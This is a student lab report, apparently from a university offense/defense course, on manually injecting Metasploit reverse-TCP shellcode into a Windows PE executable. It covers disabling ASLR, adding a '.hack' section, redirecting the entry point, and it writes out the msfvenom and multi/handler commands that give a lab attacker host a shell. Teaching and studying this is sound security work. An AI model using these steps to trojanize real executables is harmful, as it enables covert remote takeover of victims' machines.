2019-2020-2 20175320 《网络对抗技术》免考实践报告 手工实现对PE文件的shellcode注入

2019-2020-2 20175320 《网络对抗技术》免考实践报告 手工实现对PE文件的shellcode注入

一、实践概述

本实践的主要内容是对PE文件(windows下的可执行文件)进行修改,并在PE文件中手工添加shellcode,使得修改后的PE文件在执行时能够调用shellcode并将获取的shell提供给指定的攻击方。本次实践的重点是了解并掌握PE文件结构,知晓PE文件是由哪些windows定义的结构体组成。本次实践的难点在于如何正确修改PE文件以及如何使得添加的shellcode能够正常运行。本次实践的亮点在于PE文件的知识,只要了解了PE文件的结构,本次实践使用的方法可以用于修改绝大多数的PE文件(主要为exe文件,dll文件会由于装入内存的地址不固定而使得shellcode不那么容易正常运行)。PE文件结构不仅可以用于shellcode注入,还是文件加解密、病毒等网络攻防技术的基础。

二、实践目标

在windows平台下的exe文件中植入shellcode,并能在攻击主机上获得回连的shell。
要求:

  • 1、了解PE文件结构。
  • 2、了解PE文件在硬盘中的偏移地址(FOA)以及PE文件的虚拟地址(VA)之间的转换关系。
  • 3、了解并掌握WinHEX、X32DBG、PE_info(网上个人编写的PE文件结构查看程序)等工具的使用方法。
  • 4、对PE文件进行修改,在PE文件中注入shellcode。

三、实践过程

1.准备工作

1.1了解PE文件

1.1.1 PE文件简介
PE文件的全称是Portable Executable,意为可移植的可执行的文件,常见的EXE、DLL、OCX、SYS、COM都是PE文件。理解PE文件格式不仅可以了解操作系统的加载流程,还可以更好的理解操作系统对进程和内存相关的管理知识,而有些技术必须建立在必须建立在了解PE文件格式的基础上,如文件加密与解密、病毒分析、外挂技术等。

1.1.2 PE文件结构
PE文件主要分为DOS头、PE文件头、块表、块、调试信息五大部分。其中DOS头、PE文件头、块表都是由结构体定义的,而这些结构体中最为重要的是IMAGE_FILE_HEADER、IMAGE_OPTIONAL_HEADER32、IMAGE_SECTION_HEADER这几个结构体。PE文件中定义的结构体不需要记忆,需要的时候对照PE文件结构图或者帮助文档即可。本次实践除了添加块表和块以及shellcode之外,还需要依照PE文件中的结构体定义的结构,对PE文件中的相关信息进行修改。

1.1.3 PE文件FOA和VA之间的转换
我们使用WinHex修改的是磁盘中静态的PE文件,而PE文件最终是需要装入到内存中运行的,因此,如果想要执行PE文件中的shellcode,我们不仅要知道shellcode在磁盘中的位置,还需要知道shellcode在内存中的位置,这就需要进行FOA和VA之间的转换。由于代码和数据存放在块中,因此我们需要借助块表提供的信息来进行地址转换,设块表中定义的块的实际偏移地址和相对偏移地址分别为A和B,PE文件默认装载地址(Image Base)为C,那么FOA和VA之间的关系为:

FOA-A=VA-C-B

1.2安装相关工具

为了完成本次实践,我需要使用PE_info以及WinHex查看PE文件的相关信息以及内容,使用WinHex对PE文件进行修改,使用X32DBG对PE文件进行调试,因此我事先在电脑中安装了相关软件。

2.具体步骤

2.1计算程序装入内存后的入口地址

(1)使用PE_info查看程序在内存中的执行入口的RVA地址以及程序映像的默认装入基址,这里我们可以看见执行入口RVA为0x000FCF7E,ImageBase为0x00400000。

(2)我们还可以使用WinHex打开要修改的可执行文件,然后对照PE文件的结构找到执行入口和装入基址对应的字段。经过比对,字段中的信息与PE_info提供的信息是一致的。

(3)将执行入口的RVA与默认装入基址相加,即可得到程序在内存中的实际入口地址。该程序在内存中的实际入口地址为0x004FCF7E

  • 由于我修改的是一个exe程序,因此该程序的默认映像装入基址为0x00400000,且不出意外的话,该程序每次执行时都能从默认的基址装入。

2.2 关闭随机基址

在前面的步骤中我们得知该程序在内存中的实际入口地址为0x004FCF7E,但如果我们查看该程序在内存中的状况,我们可以发现该程序的ImageBase并不是默认的0x00400000,这是因为程序开启了随机基址。为了对程序进行shellcode注入,我们必须将随机基址关闭,修改的方法为修改PE头中的IMAGE_OPTIONAL_HEADER结构体中的DLLCharacteristics字段,对于x64程序而言,要将6081改为2081;对于x86程序而言,要将4081改为0081。修改PE文件头后,再次查看程序在内存中的状况,可以发现程序在默认装载地址装入了。

  • 这里我使用了lordPE查看了该程序在内存中的基址,实际上还可以使用X32DBG查看详细的内存信息。



2.3 向块表中添加新建块的信息

由于植入的shellcode占用的字节数会比较大,因此难以在已有块的空白区添加shellcode,因此我选择创建一个新的块以及在块表中添加该块的相关信息。
(1)使用WinHex打开需要修改的PE文件,找到块表对应的区域。由于块表中的每条信息是以
IMAGE_SECTION_HEADER结构存储的,该结构内包含的便是对应块的相关信息。PE文件基本是以代码段的块.text的信息作为块表的开头,且块名相对固定且是以字符"."开头,因此很容易就能找到块表在PE文件中的对应位置。

(2)计算新建的块在内存中的RVA以及新建块在硬盘中的地址,这里我们需要先使用PE_info查看块表中前一个块的相关信息,从PE_info中我们可以获知前一个块在内存中的偏移地址为0x0019D000,在硬盘中的地址为0x00195E00,在文件中对齐后的尺寸为0x00013600,块内数据的真实长度为0
x00013510。根据以上信息我通过以下算式计算得出了新建块在内存中的相对偏移以及在硬盘中的地址(计划的地址并非最终设定的地址):

新建块在内存中的相对偏移地址=前一个块在内存中的偏移地址+前一个块在文件中对齐后的尺寸=0x0019D000+0x00013600=0x001B0600
新建块在硬盘中的地址=前一个块在硬盘中的地址+前一个块在文件中对齐后的尺寸=0x00195E00+0x00013600=0x001A9400
  • 使用WinHex打开该可执行文件,发现硬盘地址0x001A9400对应的位置存在非0字段,因此我们需要重新寻找一个硬盘地址。这里我使用WinHex查看了文件末尾的硬盘地址,打算将文件末尾后的0字节的起始地址0x001ACE00作为新建块在硬盘中的地址。
  • 由于在硬盘中区块的对齐值是200H,在内存中区块的对齐值是1000H,因此我们需要新建块在硬盘中的地址的值是200H的倍数,新建块在内存中的相对偏移地址的值是1000H的倍数,最终我将新建块在内存中的相对偏移地址设置为0x001B1000,新建块在硬盘中的地址设置为0x001ACE00

(3)仿照块表中.text记录的结构,我在块表中添加了.hack表的记录。由于硬盘中区块的对齐值是200H,在内存中区块的对齐值是1000H,我将块在文件中对齐后的尺寸设置为1000H,将块的实际大小设置为1000H,块的权限字段设置为0x200000E0并将以上两个尺寸信息、前面计算的地址信息以及权限信息填入了块表中的新建记录,相关信息的对应位置可以查看IMAGE_SECTION_HEADER结构体。添加记录后的块表如下图所示:

(4)在PE头部中找到块数目对应的字段,将该字段中代表块的数目的值加一,由于该文件本来有5个块,因此需要将块的数目改为6。找到PE头部中代表装入内存的映像大小的字段,将该字段中的值加1000H,由于该文件本来的大小为0x001B1000H,因此需要将映像的总大小改为0x001B2000H。

(5)使用X32DBG调试修改后的文件,可以发现新增的块已经被系统识别了。

2.4 向新建块的位置添加shellcode

(1)在kali中使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.219.134 LPORT=5320 -f c生成shellcode,复制显示出来的buf数组中的shellcode。

(2)将复制出来的shellcode复制到一个文本文档中,使用替换功能将"\x去掉,将小写字母替换为大写字母,使得剩下的内容中只有16进制数。

(3)使用WinHex打开新建块后的文件,将文本文档中的shellcode复制到新建块在硬盘中的地址(shellcode的起始部分与新建块在硬盘中的起始地址0x001ACE00对齐),并在shellcode的后面填充0字节,使得新建块的大小为1000H字节。

2.5 修改程序入口并调用shellcode

由于我们最终的目的是使得该可执行文件以及shellcode都能够正常工作,因此我们需要修改程序的入口地址,并将shellcode作为进程中的一个子线程,使得程序在运行时可以先创建shellcode的线程,然后再跳转到本来的程序入口地址执行文件本来的代码。
(1)使用X32DBG对程序进行调试,在内存布局中选项中找到.hack块的相关信息,点击该条信息进入到.hack块的在内存中的位置,并且可以在这里看到我们添加的shellcode。

(2)向下翻页,在shellcode后面的找到一个空旷区域(位置没有明确限制),点击界面中的汇编代码区域,填入CreateThread()的汇编代码以及执行初始代码的jmp代码,这里中间那个push的内容是.hack块在内存中的起始地址,jmp后面的地址是前面计算过的程序装入内存后的入口地址。添加的汇编代码如下图所示:

(3)修改程序执行入口的RVA,这条信息在PE头的IMAGE_OPTIONAL_HEADER结构体中的AddressOfEntryPoint中,这里我们将一开始的0x000FCF7E改为.hack块中添加的汇编代码的起始地址(RVA)0x001B115F(数据以小端方式写入文件)。

2.6 攻击主机获取shell

(1)在kali中输入msfconsole打开metasploit,在metasploit中依次输入一下指令开启监听:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.219.134
set LPORT 5320
exploit

(2)在被攻击主机中运行该可执行文件,可以看见可执行文件正常启动并运行,而kali中也获得了被攻击方的shell。

(3)使用virscan对修改后的程序进行扫描,有9个杀软检测出了后门程序。

四、实践中遇到的问题

由于在修改PE文件的过程中我对修改的内容进行了仔细地比对,因此修改的内容没有出现问题。本次实践中遇到的问题主要出现在修改了程序入口之后,将程序入口设置为自行添加的汇编代码后程序由于异常而无法运行。由于一开始我对X32DBG并不是十分熟悉,于是我猜测是因为没有给新建块设置正确的权限,但在仔细检查新建块的Characteristics属性后,我发现新建块的权限没有问题。后面我发现X32DBG不仅可以显示内存信息,还可以对程序进行调试,于是我利用X32DBG的调试功能对修改后的可执行文件进行了单步调试,发现程序执行到shellcode的一段代码后出现了地址不可用的错误,于是我猜测可能有两种情况,一种是新建块的起始地址没有与页的大小对齐(内存中页的大小为1000H,硬盘中页的大小为200H),另一种是shellcode有问题。在对新建块的硬盘以及虚拟地址进行反复检查后,我发现这些地址都符合规则,于是我重新生成了一段shellcode,这次我没有使用编码器对shellcode进行处理,虽然生成的shellcode不是特别隐蔽,但用新的shellcode替换本来的shellcode并添加汇编代码以及修改程序的入口地址后,带后门的程序能够正常运行并回连。

五、实践感想和思考

本次实验看上去比较简单,实际上还是有难度的。首先我们在修改PE文件的时候一定要仔细,一定要在正确的位置填入小端方式存储的值,而在进行本次实践前,我们需要对PE文件的结构有着较深的理解,并能借助帮助文档定位PE文件的相关属性并对PE文件的内容进行修改。这里我推荐在本次实践前先去网上搜索讲解PE文件结构的相关视频,并且网络上的视频中一般会介绍一些工具软件,这对减少我们的工作量有着较大的帮助。当我们在实践中遇到了问题,这时就需要利用PE文件结构的相关知识并且结合相关工具来找出错误所在,并针对错误给出相应的解决方法。通过本次实践,我不仅对PE文件结构有了一定的认识,还了解了部分调试以及修改软件的用法,总的来说有了许多收获。

posted @ 2020-06-07 22:40  175320  阅读(352)  评论(0编辑  收藏  举报